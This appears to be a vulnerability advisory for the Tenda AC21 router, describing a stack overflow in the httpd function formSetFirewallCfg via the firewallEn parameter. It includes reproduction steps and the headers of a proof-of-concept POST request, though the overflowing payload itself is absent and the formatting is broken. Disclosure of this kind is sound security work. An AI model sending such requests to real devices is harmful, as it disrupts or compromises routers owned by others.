



description

1. Vulnerability Details

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, function formSetFirewallCfg

Attackers can cause this vulnerability via parameter firewallEn

It copies s to v4 which is on the stack, so there is a stack overflow vulnerability.

2. Recurring loopholes and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by gemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/SetFirewallCfg HTTP/1.1
Host: 192.168.0.1
Content-Length: 1364
Accept: */*
```

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

like Gecko) Chrome/105.0.0.0 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.0.1

Referer: http://192.168.0.1/main.html

Accept-Encoding: gzip, deflate

Accept-Language: en,zh-CN;q=0.9,zh;q=0.8

Cookie: password=25d55ad283aa400af464c76d713c07adamlcvb

Connection: close



By sending this poc, we can make httpd reboot